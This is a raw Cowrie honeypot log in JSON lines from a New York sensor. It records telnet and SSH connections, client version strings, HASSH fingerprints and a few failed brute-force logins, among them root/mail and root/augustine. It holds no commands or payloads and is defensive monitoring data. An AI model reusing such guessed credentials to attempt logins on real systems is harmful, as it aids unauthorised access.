{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49382,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fc9e768c17c","protocol":"telnet","message":"New connection: 152.42.224.71:49382 (10.17.0.5:23) [session: 8fc9e768c17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:15.835058Z"}
{"eventid":"cowrie.session.closed","duration":41.07442283630371,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:21.809519Z","src_ip":"152.42.224.71","session":"a29049e99785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47536,"dst_ip":"10.17.0.5","dst_port":23,"session":"172582bcc891","protocol":"telnet","message":"New connection: 152.42.224.71:47536 (10.17.0.5:23) [session: 172582bcc891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:22.667409Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":47796,"dst_ip":"159.203.135.109","dst_port":22,"session":"9068135a9bac","protocol":"ssh","message":"New connection: 47.237.167.49:47796 (159.203.135.109:22) [session: 9068135a9bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:27.557114Z"}
{"eventid":"cowrie.session.closed","duration":120.00107717514038,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:27.561805Z","src_ip":"152.42.224.71","session":"fabaa87e01bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.19.219.227","src_port":47107,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce715c8f4e87","protocol":"ssh","message":"New connection: 81.19.219.227:47107 (10.17.0.5:22) [session: ce715c8f4e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:28.067798Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:28.143024Z","src_ip":"81.19.219.227","session":"ce715c8f4e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44704,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f65d4818ca","protocol":"telnet","message":"New connection: 152.42.224.71:44704 (10.17.0.5:23) [session: a3f65d4818ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:29.087829Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44710,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c31fde15e9","protocol":"telnet","message":"New connection: 152.42.224.71:44710 (10.17.0.5:23) [session: a2c31fde15e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:29.451356Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44712,"dst_ip":"10.17.0.5","dst_port":23,"session":"abfaabd10d16","protocol":"telnet","message":"New connection: 152.42.224.71:44712 (10.17.0.5:23) [session: abfaabd10d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:30.375242Z"}
{"eventid":"cowrie.session.closed","duration":48.25134515762329,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:31.101696Z","src_ip":"152.42.224.71","session":"67bcf1c04226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162315368652,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:32.064127Z","src_ip":"152.42.224.71","session":"6c2c0aa8a20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.14156699180603,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:32.069029Z","src_ip":"152.42.224.71","session":"2892d66a30e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44716,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6b54ee4a54","protocol":"telnet","message":"New connection: 152.42.224.71:44716 (10.17.0.5:23) [session: 7b6b54ee4a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:32.215505Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.233","src_port":14736,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eb1ed12d3e5","protocol":"ssh","message":"New connection: 69.5.169.233:14736 (10.17.0.5:22) [session: 2eb1ed12d3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:34.059408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:34.064141Z","src_ip":"69.5.169.233","session":"2eb1ed12d3e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"8e8294623d295b5c79addcd28d64328c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 8e8294623d295b5c79addcd28d64328c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:34.151459Z","src_ip":"69.5.169.233","session":"2eb1ed12d3e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:34.242085Z","src_ip":"69.5.169.233","session":"2eb1ed12d3e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.307802200317383,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:35.193218Z","src_ip":"152.42.224.71","session":"73e3b8637cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.194589376449585,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:37.599041Z","src_ip":"152.42.224.71","session":"73c9a784957a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:38.358413Z","src_ip":"47.237.167.49","session":"9068135a9bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.565516710281372,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:39.232846Z","src_ip":"152.42.224.71","session":"172582bcc891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.79998850822449,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:39.345684Z","src_ip":"152.42.224.71","session":"f926f49c6d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37566,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d849ac3085","protocol":"telnet","message":"New connection: 152.42.224.71:37566 (10.17.0.5:23) [session: 65d849ac3085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:41.307591Z"}
{"eventid":"cowrie.session.closed","duration":46.54601192474365,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:43.555842Z","src_ip":"152.42.224.71","session":"bcff55aae94c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.28999876976013,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:43.992134Z","src_ip":"152.42.224.71","session":"602a2ec32677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37452459335327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:46.790051Z","src_ip":"152.42.224.71","session":"f7121a75b671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.65313649177551,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:47.941344Z","src_ip":"152.42.224.71","session":"194df087cb94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.54586410522461,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:50.266408Z","src_ip":"152.42.224.71","session":"3de29ab59e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":48010,"dst_ip":"159.203.135.109","dst_port":22,"session":"316dad19c49a","protocol":"ssh","message":"New connection: 47.237.167.49:48010 (159.203.135.109:22) [session: 316dad19c49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:52.609835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:52.754495Z","src_ip":"47.237.167.49","session":"316dad19c49a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:52.870878Z","src_ip":"47.237.167.49","session":"316dad19c49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:53.796959Z","src_ip":"47.237.167.49","session":"316dad19c49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.237590312957764,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:55.036806Z","src_ip":"152.42.224.71","session":"19a40f00be04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:55.045871Z","src_ip":"47.237.167.49","session":"316dad19c49a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb96733e4f69","protocol":"telnet","message":"New connection: 152.42.224.71:33748 (10.17.0.5:23) [session: bb96733e4f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:55.270004Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e9b7ed5124","protocol":"telnet","message":"New connection: 152.42.224.71:33756 (10.17.0.5:23) [session: 35e9b7ed5124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:56.349495Z"}
{"eventid":"cowrie.session.closed","duration":45.343908071517944,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:58.453903Z","src_ip":"152.42.224.71","session":"089ab2cbf205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59644,"dst_ip":"10.17.0.5","dst_port":23,"session":"844c9f523800","protocol":"telnet","message":"New connection: 152.42.224.71:59644 (10.17.0.5:23) [session: 844c9f523800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:58.804458Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59652,"dst_ip":"10.17.0.5","dst_port":23,"session":"e604ef3d279d","protocol":"telnet","message":"New connection: 152.42.224.71:59652 (10.17.0.5:23) [session: e604ef3d279d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:59.829601Z"}
{"eventid":"cowrie.session.closed","duration":27.65846562385559,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:59.873811Z","src_ip":"152.42.224.71","session":"7b6b54ee4a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.65688896179199,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:02.721116Z","src_ip":"152.42.224.71","session":"f75ab7af8c3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":50992,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4fe3ae4a04b","protocol":"ssh","message":"New connection: 182.93.50.90:50992 (10.17.0.5:22) [session: a4fe3ae4a04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:02.901306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:02.906193Z","src_ip":"182.93.50.90","session":"a4fe3ae4a04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:03.129884Z","src_ip":"182.93.50.90","session":"a4fe3ae4a04b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mail","message":"login attempt [root/mail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:04.039400Z","src_ip":"182.93.50.90","session":"a4fe3ae4a04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:05.263271Z","src_ip":"182.93.50.90","session":"a4fe3ae4a04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fb65e3cdbb","protocol":"telnet","message":"New connection: 152.42.224.71:35460 (10.17.0.5:23) [session: 15fb65e3cdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:06.916471Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35476,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04f438273cc","protocol":"telnet","message":"New connection: 152.42.224.71:35476 (10.17.0.5:23) [session: c04f438273cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:11.050249Z"}
{"eventid":"cowrie.session.closed","duration":44.92456102371216,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:14.012247Z","src_ip":"152.42.224.71","session":"a3f65d4818ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36934,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61c17cdb7fe","protocol":"telnet","message":"New connection: 152.42.224.71:36934 (10.17.0.5:23) [session: d61c17cdb7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:16.189350Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36926,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cab995f3644","protocol":"telnet","message":"New connection: 152.42.224.71:36926 (10.17.0.5:23) [session: 6cab995f3644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:17.211577Z"}
{"eventid":"cowrie.session.closed","duration":48.80401802062988,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:18.255222Z","src_ip":"152.42.224.71","session":"a2c31fde15e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36948,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3e470fd11e","protocol":"telnet","message":"New connection: 152.42.224.71:36948 (10.17.0.5:23) [session: 6f3e470fd11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:21.003245Z"}
{"eventid":"cowrie.session.closed","duration":52.27802324295044,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:22.653107Z","src_ip":"152.42.224.71","session":"abfaabd10d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36954,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6925d1b201","protocol":"telnet","message":"New connection: 152.42.224.71:36954 (10.17.0.5:23) [session: 8a6925d1b201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:24.093887Z"}
{"eventid":"cowrie.session.closed","duration":13.087032318115234,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:24.137162Z","src_ip":"152.42.224.71","session":"c04f438273cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":59602,"dst_ip":"10.17.0.5","dst_port":22,"session":"0717742ed27a","protocol":"ssh","message":"New connection: 103.91.246.101:59602 (10.17.0.5:22) [session: 0717742ed27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:26.135175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:26.140636Z","src_ip":"103.91.246.101","session":"0717742ed27a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:26.366167Z","src_ip":"103.91.246.101","session":"0717742ed27a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"augustine","message":"login attempt [root/augustine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:27.293040Z","src_ip":"103.91.246.101","session":"0717742ed27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.23978567123413,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:27.509665Z","src_ip":"152.42.224.71","session":"bb96733e4f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:28.520925Z","src_ip":"103.91.246.101","session":"0717742ed27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.08502531051636,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:29.392496Z","src_ip":"152.42.224.71","session":"65d849ac3085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45486,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf26f13a6f5","protocol":"telnet","message":"New connection: 152.42.224.71:45486 (10.17.0.5:23) [session: bdf26f13a6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:31.796964Z"}
